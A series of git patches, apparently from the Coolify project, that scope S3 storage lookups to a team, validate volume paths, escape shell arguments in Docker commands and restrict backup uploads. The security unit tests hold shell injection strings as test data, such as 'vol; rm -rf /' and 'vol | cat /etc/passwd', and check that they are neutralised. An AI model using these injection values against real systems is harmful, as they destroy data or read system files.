                     'message' => 'Validation failed.',
@@ -774,7 +774,7 @@ public function create_backup(Request $request)
 
         // Convert s3_storage_uuid to s3_storage_id
         if (isset($backupData['s3_storage_uuid'])) {
-            $s3Storage = S3Storage::ownedByCurrentTeam()->where('uuid', $backupData['s3_storage_uuid'])->first();
+            $s3Storage = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $backupData['s3_storage_uuid'])->first();
             if ($s3Storage) {
                 $backupData['s3_storage_id'] = $s3Storage->id;
             } elseif ($request->boolean('save_s3')) {
@@ -982,7 +982,7 @@ public function update_backup(Request $request)
             ], 422);
         }
         if ($request->filled('s3_storage_uuid')) {
-            $existsInTeam = S3Storage::ownedByCurrentTeam()->where('uuid', $request->s3_storage_uuid)->exists();
+            $existsInTeam = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->s3_storage_uuid)->exists();
             if (! $existsInTeam) {
                 return response()->json([
                     'message' => 'Validation failed.',
@@ -1015,7 +1015,7 @@ public function update_backup(Request $request)
 
         // Convert s3_storage_uuid to s3_storage_id
         if (isset($backupData['s3_storage_uuid'])) {
-            $s3Storage = S3Storage::ownedByCurrentTeam()->where('uuid', $backupData['s3_storage_uuid'])->first();
+            $s3Storage = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $backupData['s3_storage_uuid'])->first();
             if ($s3Storage) {
                 $backupData['s3_storage_id'] = $s3Storage->id;
             } elseif ($request->boolean('save_s3')) {
diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php
index d6feccc7e..e02e07a4e 100644
--- a/app/Models/S3Storage.php
+++ b/app/Models/S3Storage.php
@@ -66,6 +66,13 @@ public static function ownedByCurrentTeam(array $select = ['*'])
         return S3Storage::whereTeamId(currentTeam()->id)->select($selectArray->all())->orderBy('name');
     }
 
+    public static function ownedByCurrentTeamAPI(int $teamId, array $select = ['*'])
+    {
+        $selectArray = collect($select)->concat(['id']);
+
+        return S3Storage::whereTeamId($teamId)->select($selectArray->all())->orderBy('name');
+    }
+
     public function isUsable()
     {
         return $this->is_usable;
diff --git a/tests/Feature/DatabaseBackupCreationApiTest.php b/tests/Feature/DatabaseBackupCreationApiTest.php
index 893141de3..4588cf9de 100644
--- a/tests/Feature/DatabaseBackupCreationApiTest.php
+++ b/tests/Feature/DatabaseBackupCreationApiTest.php
@@ -1,5 +1,12 @@
 <?php
 
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\S3Storage;
+use App\Models\ScheduledDatabaseBackup;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
 use App\Models\StandalonePostgresql;
 use App\Models\Team;
 use App\Models\User;
@@ -8,50 +15,110 @@
 uses(RefreshDatabase::class);
 
 beforeEach(function () {
-    // Create a team with owner
+    InstanceSettings::updateOrCreate(['id' => 0]);
+
     $this->team = Team::factory()->create();
     $this->user = User::factory()->create();
     $this->team->members()->attach($this->user->id, ['role' => 'owner']);
 
-    // Create an API token for the user
-    $this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
+    session(['currentTeam' => $this->team]);
+
+    $this->token = $this->user->createToken('test-token', ['*']);
     $this->bearerToken = $this->token->plainTextToken;
 
-    // Mock a database - we'll use Mockery to avoid needing actual database setup
-    $this->database = \Mockery::mock(StandalonePostgresql::class);
-    $this->database->shouldReceive('getAttribute')->with('id')->andReturn(1);
-    $this->database->shouldReceive('getAttribute')->with('uuid')->andReturn('test-db-uuid');
-    $this->database->shouldReceive('getAttribute')->with('postgres_db')->andReturn('testdb');
-    $this->database->shouldReceive('type')->andReturn('standalone-postgresql');
-    $this->database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
-});
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+    $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
 
-afterEach(function () {
-    \Mockery::close();
+    $this->database = StandalonePostgresql::create([
+        'name' => 'test-postgres',
+        'image' => 'postgres:15-alpine',
+        'postgres_user' => 'postgres',
+        'postgres_password' => 'password',
+        'postgres_db' => 'testdb',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+    ]);
+
+    $this->s3Storage = S3Storage::create([
+        'name' => 'test-s3',
+        'region' => 'us-east-1',
+        'key' => 'test-key',
+        'secret' => 'test-secret',
+        'bucket' => 'test-bucket',
+        'endpoint' => 'https://s3.example.com',
+        'team_id' => $this->team->id,
+        'is_usable' => true,
+    ]);
 });
 
 describe('POST /api/v1/databases/{uuid}/backups', function () {
-    test('creates backup configuration with minimal required fields', function () {
-        // This is a unit-style test using mocks to avoid database dependency
-        // For full integration testing, this should be run inside Docker
+    test('creates backup with s3 storage via API token', function () {
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$this->bearerToken,
+            'Content-Type' => 'application/json',
+        ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+            'frequency' => '0 2 * * 0',
+            'save_s3' => true,
+            's3_storage_uuid' => $this->s3Storage->uuid,
+            'enabled' => true,
+        ]);
+
+        $response->assertStatus(201);
+        $response->assertJsonStructure(['uuid', 'message']);
+
+        $backup = ScheduledDatabaseBackup::where('uuid', $response->json('uuid'))->first();
+        expect($backup)->not->toBeNull();
+        expect($backup->s3_storage_id)->toBe($this->s3Storage->id);
+        expect($backup->save_s3)->toBeTrue();
+        expect($backup->team_id)->toBe($this->team->id);
+    });
+
+    test('creates backup without s3 storage', function () {
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$this->bearerToken,
+            'Content-Type' => 'application/json',
+        ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+            'frequency' => 'daily',
+        ]);
+
+        $response->assertStatus(201);
+        $response->assertJsonStructure(['uuid', 'message']);
+    });
+
+    test('rejects s3_storage_uuid from another team', function () {
+        $otherTeam = Team::factory()->create();
+        $otherS3 = S3Storage::create([
+            'name' => 'other-s3',
+            'region' => 'us-east-1',
+            'key' => 'other-key',
+            'secret' => 'other-secret',
+            'bucket' => 'other-bucket',
+            'endpoint' => 'https://s3.example.com',
+            'team_id' => $otherTeam->id,
+            'is_usable' => true,
+        ]);
 
         $response = $this->withHeaders([
             'Authorization' => 'Bearer '.$this->bearerToken,
             'Content-Type' => 'application/json',
-        ])->postJson('/api/v1/databases/test-db-uuid/backups', [
-            'frequency' => 'daily',
+        ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+            'frequency' => '0 2 * * 0',
+            'save_s3' => true,
+            's3_storage_uuid' => $otherS3->uuid,
         ]);
 
-        // Since we're mocking, this test verifies the endpoint exists and basic validation
-        // Full integration tests should be run in Docker environment
-        expect($response->status())->toBeIn([201, 404, 422]);
+        $response->assertStatus(422);
+        $response->assertJsonValidationErrors(['s3_storage_uuid']);
     });
 
     test('validates frequency is required', function () {
         $response = $this->withHeaders([
             'Authorization' => 'Bearer '.$this->bearerToken,
             'Content-Type' => 'application/json',
-        ])->postJson('/api/v1/databases/test-db-uuid/backups', [
+        ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
             'enabled' => true,
         ]);
 
@@ -63,83 +130,78 @@
         $response = $this->withHeaders([
             'Authorization' => 'Bearer '.$this->bearerToken,
             'Content-Type' => 'application/json',
-        ])->postJson('/api/v1/databases/test-db-uuid/backups', [
+        ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
             'frequency' => 'daily',
             'save_s3' => true,
         ]);
 
-        // Should fail validation because s3_storage_uuid is missing
-        expect($response->status())->toBeIn([404, 422]);
-    });
-
-    test('rejects invalid frequency format', function () {
-        $response = $this->withHeaders([
-            'Authorization' => 'Bearer '.$this->bearerToken,
-            'Content-Type' => 'application/json',
-        ])->postJson('/api/v1/databases/test-db-uuid/backups', [
-            'frequency' => 'invalid-frequency',
-        ]);
-
-        expect($response->status())->toBeIn([404, 422]);
+        $response->assertStatus(422);
+        $response->assertJsonValidationErrors(['s3_storage_uuid']);
     });
 
     test('rejects request without authentication', function () {
-        $response = $this->postJson('/api/v1/databases/test-db-uuid/backups', [
+        $response = $this->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
             'frequency' => 'daily',
         ]);
 
         $response->assertStatus(401);
     });
+});
 
-    test('validates retention fields are integers with minimum 0', function () {
-        $response = $this->withHeaders([
-            'Authorization' => 'Bearer '.$this->bearerToken,
-            'Content-Type' => 'application/json',
-        ])->postJson('/api/v1/databases/test-db-uuid/backups', [
+describe('PATCH /api/v1/databases/{uuid}/backups/{scheduled_backup_uuid}', function () {
+    test('updates backup to use s3 storage via API token', function () {
+        $backup = ScheduledDatabaseBackup::create([
             'frequency' => 'daily',
-            'database_backup_retention_amount_locally' => -1,
+            'enabled' => true,
+            'database_id' => $this->database->id,
+            'database_type' => $this->database->getMorphClass(),
+            'team_id' => $this->team->id,
         ]);
 
-        expect($response->status())->toBeIn([404, 422]);
-    });
-
-    test('accepts valid cron expressions', function () {
         $response = $this->withHeaders([
             'Authorization' => 'Bearer '.$this->bearerToken,
             'Content-Type' => 'application/json',
-        ])->postJson('/api/v1/databases/test-db-uuid/backups', [
-            'frequency' => '0 2 * * *', // Daily at 2 AM
+        ])->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [
+            'save_s3' => true,
+            's3_storage_uuid' => $this->s3Storage->uuid,
         ]);
 
-        // Will fail with 404 because database doesn't exist, but validates the request format
-        expect($response->status())->toBeIn([201, 404, 422]);
+        $response->assertStatus(200);
+        $backup->refresh();
+        expect($backup->s3_storage_id)->toBe($this->s3Storage->id);
+        expect($backup->save_s3)->toBeTrue();
     });
 
-    test('accepts predefined frequency values', function () {
-        $frequencies = ['every_minute', 'hourly', 'daily', 'weekly', 'monthly', 'yearly'];
+    test('rejects s3_storage_uuid from another team on update', function () {
+        $otherTeam = Team::factory()->create();
+        $otherS3 = S3Storage::create([
+            'name' => 'other-s3',
+            'region' => 'us-east-1',
+            'key' => 'other-key',
+            'secret' => 'other-secret',
+            'bucket' => 'other-bucket',
+            'endpoint' => 'https://s3.example.com',
+            'team_id' => $otherTeam->id,
+            'is_usable' => true,
+        ]);
 
-        foreach ($frequencies as $frequency) {
-            $response = $this->withHeaders([
-                'Authorization' => 'Bearer '.$this->bearerToken,
-                'Content-Type' => 'application/json',
-            ])->postJson('/api/v1/databases/test-db-uuid/backups', [
-                'frequency' => $frequency,
-            ]);
-
-            // Will fail with 404 because database doesn't exist, but validates the request format
-            expect($response->status())->toBeIn([201, 404, 422]);
-        }
-    });
-
-    test('rejects extra fields not in allowed list', function () {
-        $response = $this->withHeaders([
-            'Authorization' => 'Bearer '.$this->bearerToken,
-            'Content-Type' => 'application/json',
-        ])->postJson('/api/v1/databases/test-db-uuid/backups', [
+        $backup = ScheduledDatabaseBackup::create([
             'frequency' => 'daily',
-            'invalid_field' => 'invalid_value',
+            'enabled' => true,
+            'database_id' => $this->database->id,
+            'database_type' => $this->database->getMorphClass(),
+            'team_id' => $this->team->id,
         ]);
 
-        expect($response->status())->toBeIn([404, 422]);
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$this->bearerToken,
+            'Content-Type' => 'application/json',
+        ])->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [
+            'save_s3' => true,
+            's3_storage_uuid' => $otherS3->uuid,
+        ]);
+
+        $response->assertStatus(422);
+        $response->assertJsonValidationErrors(['s3_storage_uuid']);
     });
 });

From 410a9a6195a2b939d4a429f6c464ff56e61177f8 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 11:27:10 +0200
Subject: [PATCH 062/102] refactor(volumes): validate input and escape shell
 args

Tighten validation on volume name and host path inputs across Livewire + API storage endpoints and escape shell arguments in volume clone and compose preview cleanup paths.
---
 .../Api/ApplicationsController.php            |  4 +-
 .../Controllers/Api/DatabasesController.php   |  4 +-
 .../Controllers/Api/ServicesController.php    |  4 +-
 app/Jobs/VolumeCloneJob.php                   | 29 ++++---
 app/Livewire/Project/Service/Storage.php      |  8 +-
 app/Livewire/Project/Shared/Storages/Show.php | 29 +++++--
 app/Models/ApplicationPreview.php             | 14 ++-
 tests/Unit/PersistentVolumeSecurityTest.php   | 85 +++++++++++++++++++
 8 files changed, 148 insertions(+), 29 deletions(-)

diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php
index cc7c0dbbe..eb2e7fc53 100644
--- a/app/Http/Controllers/Api/ApplicationsController.php
+++ b/app/Http/Controllers/Api/ApplicationsController.php
@@ -4121,7 +4121,7 @@ public function update_storage(Request $request): JsonResponse
             'is_preview_suffix_enabled' => 'boolean',
             'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
             'mount_path' => 'string',
-            'host_path' => 'string|nullable',
+            'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN],
             'content' => 'string|nullable',
         ]);
 
@@ -4299,7 +4299,7 @@ public function create_storage(Request $request): JsonResponse
             'type' => 'required|string|in:persistent,file',
             'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
             'mount_path' => 'required|string',
-            'host_path' => 'string|nullable',
+            'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN],
             'content' => 'string|nullable',
             'is_directory' => 'boolean',
             'fs_path' => 'string',
diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php
index 8241e5fba..3067d98e7 100644
--- a/app/Http/Controllers/Api/DatabasesController.php
+++ b/app/Http/Controllers/Api/DatabasesController.php
@@ -3496,7 +3496,7 @@ public function create_storage(Request $request): JsonResponse
             'type' => 'required|string|in:persistent,file',
             'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
             'mount_path' => 'required|string',
-            'host_path' => 'string|nullable',
+            'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN],
             'content' => 'string|nullable',
             'is_directory' => 'boolean',
             'fs_path' => 'string',
@@ -3694,7 +3694,7 @@ public function update_storage(Request $request): JsonResponse
             'is_preview_suffix_enabled' => 'boolean',
             'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
             'mount_path' => 'string',
-            'host_path' => 'string|nullable',
+            'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN],
             'content' => 'string|nullable',
         ]);
 
diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php
index 23ba30998..20560635e 100644
--- a/app/Http/Controllers/Api/ServicesController.php
+++ b/app/Http/Controllers/Api/ServicesController.php
@@ -2018,7 +2018,7 @@ public function create_storage(Request $request): JsonResponse
             'resource_uuid' => 'required|string',
             'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
             'mount_path' => 'required|string',
-            'host_path' => 'string|nullable',
+            'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN],
             'content' => 'string|nullable',
             'is_directory' => 'boolean',
             'fs_path' => 'string',
@@ -2227,7 +2227,7 @@ public function update_storage(Request $request): JsonResponse
             'is_preview_suffix_enabled' => 'boolean',
             'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
             'mount_path' => 'string',
-            'host_path' => 'string|nullable',
+            'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN],
             'content' => 'string|nullable',
         ]);
 
diff --git a/app/Jobs/VolumeCloneJob.php b/app/Jobs/VolumeCloneJob.php
index f37a9704e..060ec3ac6 100644
--- a/app/Jobs/VolumeCloneJob.php
+++ b/app/Jobs/VolumeCloneJob.php
@@ -43,27 +43,34 @@ public function handle()
 
     protected function cloneLocalVolume()
     {
+        $srcVol = escapeshellarg($this->sourceVolume);
+        $tgtVol = escapeshellarg($this->targetVolume);
+
         instant_remote_process([
-            "docker volume create $this->targetVolume",
-            "docker run --rm -v $this->sourceVolume:/source -v $this->targetVolume:/target alpine sh -c 'cp -a /source/. /target/ && chown -R 1000:1000 /target'",
+            "docker volume create {$tgtVol}",
+            "docker run --rm -v {$srcVol}:/source -v {$tgtVol}:/target alpine sh -c 'cp -a /source/. /target/ && chown -R 1000:1000 /target'",
         ], $this->sourceServer);
     }
 
     protected function cloneRemoteVolume()
     {
+        $srcVol = escapeshellarg($this->sourceVolume);
+        $tgtVol = escapeshellarg($this->targetVolume);
         $sourceCloneDir = "{$this->cloneDir}/{$this->sourceVolume}";
         $targetCloneDir = "{$this->cloneDir}/{$this->targetVolume}";
+        $srcDir = escapeshellarg($sourceCloneDir);
+        $tgtDir = escapeshellarg($targetCloneDir);
 
         try {
             instant_remote_process([
-                "mkdir -p $sourceCloneDir",
-                "chmod 777 $sourceCloneDir",
-                "docker run --rm -v $this->sourceVolume:/source -v $sourceCloneDir:/clone alpine sh -c 'cd /source && tar czf /clone/volume-data.tar.gz .'",
+                "mkdir -p {$srcDir}",
+                "chmod 777 {$srcDir}",
+                "docker run --rm -v {$srcVol}:/source -v {$srcDir}:/clone alpine sh -c 'cd /source && tar czf /clone/volume-data.tar.gz .'",
             ], $this->sourceServer);
 
             instant_remote_process([
-                "mkdir -p $targetCloneDir",
-                "chmod 777 $targetCloneDir",
+                "mkdir -p {$tgtDir}",
+                "chmod 777 {$tgtDir}",
             ], $this->targetServer);
 
             instant_scp(
@@ -74,8 +81,8 @@ protected function cloneRemoteVolume()
             );
 
             instant_remote_process([
-                "docker volume create $this->targetVolume",
-                "docker run --rm -v $this->targetVolume:/target -v $targetCloneDir:/clone alpine sh -c 'cd /target && tar xzf /clone/volume-data.tar.gz && chown -R 1000:1000 /target'",
+                "docker volume create {$tgtVol}",
+                "docker run --rm -v {$tgtVol}:/target -v {$tgtDir}:/clone alpine sh -c 'cd /target && tar xzf /clone/volume-data.tar.gz && chown -R 1000:1000 /target'",
             ], $this->targetServer);
 
         } catch (\Exception $e) {
@@ -84,7 +91,7 @@ protected function cloneRemoteVolume()
         } finally {
             try {
                 instant_remote_process([
-                    "rm -rf $sourceCloneDir",
+                    "rm -rf {$srcDir}",
                 ], $this->sourceServer, false);
             } catch (\Exception $e) {
                 \Log::warning('Failed to clean up source server clone directory: '.$e->getMessage());
@@ -93,7 +100,7 @@ protected function cloneRemoteVolume()
             try {
                 if ($this->targetServer) {
                     instant_remote_process([
-                        "rm -rf $targetCloneDir",
+                        "rm -rf {$tgtDir}",
                     ], $this->targetServer, false);
                 }
             } catch (\Exception $e) {
diff --git a/app/Livewire/Project/Service/Storage.php b/app/Livewire/Project/Service/Storage.php
index 433c2b13c..6f43662d5 100644
--- a/app/Livewire/Project/Service/Storage.php
+++ b/app/Livewire/Project/Service/Storage.php
@@ -106,8 +106,12 @@ public function submitPersistentVolume()
             $this->validate([
                 'name' => ValidationPatterns::volumeNameRules(),
                 'mount_path' => 'required|string',
-                'host_path' => $this->isSwarm ? 'required|string' : 'string|nullable',
-            ], ValidationPatterns::volumeNameMessages());
+                'host_path' => $this->isSwarm
+                    ? ['required', 'string', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN]
+                    : ['nullable', 'string', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN],
+            ], array_merge(ValidationPatterns::volumeNameMessages(), [
+                'host_path.regex' => 'Host path must start with / and only contain safe path characters.',
+            ]));
 
             $name = $this->resource->uuid.'-'.$this->name;
 
diff --git a/app/Livewire/Project/Shared/Storages/Show.php b/app/Livewire/Project/Shared/Storages/Show.php
index eee5a0776..2aaca5e6f 100644
--- a/app/Livewire/Project/Shared/Storages/Show.php
+++ b/app/Livewire/Project/Shared/Storages/Show.php
@@ -3,6 +3,7 @@
 namespace App\Livewire\Project\Shared\Storages;
 
 use App\Models\LocalPersistentVolume;
+use App\Support\ValidationPatterns;
 use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
 use Livewire\Component;
 
@@ -31,19 +32,33 @@ class Show extends Component
 
     public bool $isPreviewSuffixEnabled = true;
 
-    protected $rules = [
-        'name' => 'required|string',
-        'mountPath' => 'required|string',
-        'hostPath' => 'string|nullable',
-        'isPreviewSuffixEnabled' => 'required|boolean',
-    ];
-
     protected $validationAttributes = [
         'name' => 'name',
         'mountPath' => 'mount',
         'hostPath' => 'host',
     ];
 
+    protected function rules(): array
+    {
+        return [
+            'name' => ValidationPatterns::volumeNameRules(),
+            'mountPath' => ['required', 'string', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN],
+            'hostPath' => ['nullable', 'string', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN],
+            'isPreviewSuffixEnabled' => 'required|boolean',
+        ];
+    }
+
+    protected function messages(): array
+    {
+        return array_merge(
+            ValidationPatterns::volumeNameMessages(),
+            [
+                'mountPath.regex' => 'Mount path must start with / and only contain safe path characters.',
+                'hostPath.regex' => 'Host path must start with / and only contain safe path characters.',
+            ]
+        );
+    }
+
     /**
      * Sync data between component properties and model
      *
diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php
index f08a48cea..9159fd0d8 100644
--- a/app/Models/ApplicationPreview.php
+++ b/app/Models/ApplicationPreview.php
@@ -2,6 +2,7 @@
 
 namespace App\Models;
 
+use App\Support\ValidationPatterns;
 use Illuminate\Database\Eloquent\SoftDeletes;
 use Spatie\Url\Url;
 use Visus\Cuid2\Cuid2;
@@ -42,11 +43,18 @@ protected static function booted()
                 $networkKeys = collect($networks)->keys();
                 $volumeKeys = collect($volumes)->keys();
                 $volumeKeys->each(function ($key) use ($server) {
-                    instant_remote_process(["docker volume rm -f $key"], $server, false);
+                    if (! preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $key)) {
+                        return;
+                    }
+                    instant_remote_process(['docker volume rm -f '.escapeshellarg($key)], $server, false);
                 });
                 $networkKeys->each(function ($key) use ($server) {
-                    instant_remote_process(["docker network disconnect $key coolify-proxy"], $server, false);
-                    instant_remote_process(["docker network rm $key"], $server, false);
+                    if (! preg_match(ValidationPatterns::DOCKER_NETWORK_PATTERN, $key)) {
+                        return;
+                    }
+                    $k = escapeshellarg($key);
+                    instant_remote_process(["docker network disconnect {$k} coolify-proxy"], $server, false);
+                    instant_remote_process(["docker network rm {$k}"], $server, false);
                 });
             } else {
                 // Regular application volume cleanup
diff --git a/tests/Unit/PersistentVolumeSecurityTest.php b/tests/Unit/PersistentVolumeSecurityTest.php
index fdce223d3..287045534 100644
--- a/tests/Unit/PersistentVolumeSecurityTest.php
+++ b/tests/Unit/PersistentVolumeSecurityTest.php
@@ -96,3 +96,88 @@
 
     expect($messages)->toHaveKey('volume_name.regex');
 });
+
+// --- escapeshellarg Defense Tests for docker volume create ---
+
+it('escapeshellarg neutralizes injection in docker volume create command', function (string $maliciousName) {
+    $escaped = escapeshellarg($maliciousName);
+    $command = "docker volume create {$escaped}";
+
+    expect($command)->toStartWith('docker volume create ')
+        ->and($escaped)->toStartWith("'")
+        ->and($escaped)->toEndWith("'");
+})->with([
+    'semicolon' => 'vol; rm -rf /',
+    'pipe' => 'vol | cat /etc/passwd',
+    'ampersand' => 'vol && whoami',
+    'backtick' => 'vol`id`',
+    'command substitution' => 'vol$(whoami)',
+]);
+
+// --- escapeshellarg Defense Tests for docker run -v ---
+
+it('escapeshellarg neutralizes injection in docker run -v command', function (string $maliciousName) {
+    $escaped = escapeshellarg($maliciousName);
+    $command = "docker run --rm -v {$escaped}:/source -v {$escaped}:/target alpine sh -c 'cp -a /source/. /target/'";
+
+    expect($command)->toContain('docker run --rm -v ')
+        ->and($escaped)->toStartWith("'")
+        ->and($escaped)->toEndWith("'");
+})->with([
+    'semicolon' => 'vol; rm -rf /',
+    'pipe' => 'vol | cat /etc/passwd',
+    'command substitution' => 'vol$(whoami)',
+]);
+
+// --- escapeshellarg Defense Tests for docker network commands ---
+
+it('escapeshellarg neutralizes injection in docker network disconnect command', function (string $maliciousName) {
+    $escaped = escapeshellarg($maliciousName);
+    $command = "docker network disconnect {$escaped} coolify-proxy";
+
+    expect($command)->toStartWith('docker network disconnect ')
+        ->and($escaped)->toStartWith("'")
+        ->and($escaped)->toEndWith("'");
+})->with([
+    'semicolon' => 'net; rm -rf /',
+    'pipe' => 'net | cat /etc/passwd',
+    'command substitution' => 'net$(whoami)',
+]);
+
+it('escapeshellarg neutralizes injection in docker network rm command', function (string $maliciousName) {
+    $escaped = escapeshellarg($maliciousName);
+    $command = "docker network rm {$escaped}";
+
+    expect($command)->toStartWith('docker network rm ')
+        ->and($escaped)->toStartWith("'")
+        ->and($escaped)->toEndWith("'");
+})->with([
+    'semicolon' => 'net; rm -rf /',
+    'pipe' => 'net | cat /etc/passwd',
+    'command substitution' => 'net$(whoami)',
+]);
+
+// --- DIRECTORY_PATH_PATTERN Tests ---
+
+it('accepts valid directory paths', function (string $path) {
+    expect(preg_match(ValidationPatterns::DIRECTORY_PATH_PATTERN, $path))->toBe(1);
+})->with([
+    'root' => '/',
+    'simple path' => '/data',
+    'nested path' => '/data/coolify/volumes',
+    'with dots' => '/data/my.app/storage',
+    'with hyphens' => '/data/my-app/storage',
+    'with underscores' => '/data/my_app/storage',
+]);
+
+it('rejects directory paths with shell metacharacters', function (string $path) {
+    expect(preg_match(ValidationPatterns::DIRECTORY_PATH_PATTERN, $path))->toBe(0);
+})->with([
+    'semicolon injection' => '/etc; rm -rf /',
+    'pipe injection' => '/etc | cat /etc/passwd',
+    'command substitution' => '/etc$(whoami)',
+    'backtick injection' => '/etc`id`',
+    'space injection' => '/etc /tmp',
+    'relative traversal' => '../../../etc/passwd',
+    'no leading slash' => 'etc/passwd',
+]);

From af0a8badb3cd9f470cb55c5f714263f63425d40b Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 11:45:00 +0200
Subject: [PATCH 063/102] refactor(backup): validate database backup upload
 file type and size

Add allowlist of backup file extensions (sql, sql.gz, tar, tgz, zip,
dump, bak, bson, archive, bz2, xz, and compound variants) and enforce
a 10 GiB maximum file size on the backup upload endpoint. Validation
runs early on each chunk using the dropzone metadata and again on the
assembled file. Also drops the unused createFilename helper and the
commented-out S3 block.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
---
 app/Http/Controllers/UploadController.php     | 94 ++++++++++++++-----
 .../DatabaseBackupUploadValidationTest.php    | 62 ++++++++++++
 2 files changed, 131 insertions(+), 25 deletions(-)
 create mode 100644 tests/Feature/DatabaseBackupUploadValidationTest.php

diff --git a/app/Http/Controllers/UploadController.php b/app/Http/Controllers/UploadController.php
index 93847589a..96fbd7193 100644
--- a/app/Http/Controllers/UploadController.php
+++ b/app/Http/Controllers/UploadController.php
@@ -11,6 +11,26 @@
 
 class UploadController extends BaseController
 {
+    private const MAX_BYTES = 10 * 1024 * 1024 * 1024; // 10 GiB
+
+    private const ALLOWED_EXTENSIONS = [
+        'sql',
+        'sql.gz',
+        'gz',
+        'zip',
+        'tar',
+        'tar.gz',
+        'tgz',
+        'dump',
+        'bak',
+        'bson',
+        'bson.gz',
+        'archive',
+        'archive.gz',
+        'bz2',
+        'xz',
+    ];
+
     public function upload(Request $request)
     {
         $databaseIdentifier = request()->route('databaseUuid');
@@ -18,6 +38,22 @@ public function upload(Request $request)
         if (is_null($resource)) {
             return response()->json(['error' => 'You do not have permission for this database'], 500);
         }
+
+        $chunk = $request->file('file');
+        $originalName = $chunk instanceof UploadedFile ? $chunk->getClientOriginalName() : null;
+        if (blank($originalName) || ! self::hasAllowedExtension($originalName)) {
+            return response()->json([
+                'error' => 'Unsupported file type. Allowed extensions: '.implode(', ', self::ALLOWED_EXTENSIONS),
+            ], 422);
+        }
+
+        $declaredTotalSize = (int) $request->input('dzTotalFilesize', 0);
+        if ($declaredTotalSize > self::MAX_BYTES) {
+            return response()->json([
+                'error' => 'File exceeds maximum allowed size of '.self::formatMaxSize().'.',
+            ], 422);
+        }
+
         $receiver = new FileReceiver('file', $request, HandlerFactory::classFromRequest($request));
 
         if ($receiver->isUploaded() === false) {
@@ -40,29 +76,20 @@ public function upload(Request $request)
             'status' => true,
         ]);
     }
-    // protected function saveFileToS3($file)
-    // {
-    //     $fileName = $this->createFilename($file);
 
-    //     $disk = Storage::disk('s3');
-    //     // It's better to use streaming Streaming (laravel 5.4+)
-    //     $disk->putFileAs('photos', $file, $fileName);
-
-    //     // for older laravel
-    //     // $disk->put($fileName, file_get_contents($file), 'public');
-    //     $mime = str_replace('/', '-', $file->getMimeType());
-
-    //     // We need to delete the file when uploaded to s3
-    //     unlink($file->getPathname());
-
-    //     return response()->json([
-    //         'path' => $disk->url($fileName),
-    //         'name' => $fileName,
-    //         'mime_type' => $mime
-    //     ]);
-    // }
     protected function saveFile(UploadedFile $file, string $resourceIdentifier)
     {
+        $originalName = $file->getClientOriginalName();
+        $size = $file->getSize();
+
+        if (! self::hasAllowedExtension($originalName) || $size === false || $size > self::MAX_BYTES) {
+            @unlink($file->getPathname());
+
+            return response()->json([
+                'error' => 'Uploaded file failed validation.',
+            ], 422);
+        }
+
         $mime = str_replace('/', '-', $file->getMimeType());
         $filePath = "upload/{$resourceIdentifier}";
         $finalPath = storage_path('app/'.$filePath);
@@ -73,13 +100,30 @@ protected function saveFile(UploadedFile $file, string $resourceIdentifier)
         ]);
     }
 
-    protected function createFilename(UploadedFile $file)
+    private static function hasAllowedExtension(string $name): bool
     {
-        $extension = $file->getClientOriginalExtension();
